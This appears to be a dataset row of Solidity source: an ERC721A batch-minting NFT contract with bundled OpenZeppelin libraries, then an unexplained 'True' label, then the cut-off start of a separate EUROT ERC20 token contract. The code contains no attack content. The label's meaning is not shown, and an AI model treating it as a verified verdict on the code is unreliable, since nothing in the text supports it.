* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 public immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > currentIndex - 1) {
endIndex = currentIndex - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
True
|
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/**
*Submitted for verification at BscScan.com on 2022-05-01
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/ERC20.sol)
/**
Symbol : EUT
Name : EUROT
Total supply : 1000000000
Decimals : 6
Website : https://www.eurot.org
*/
pragma solidity ^0.8.13;
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed from, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
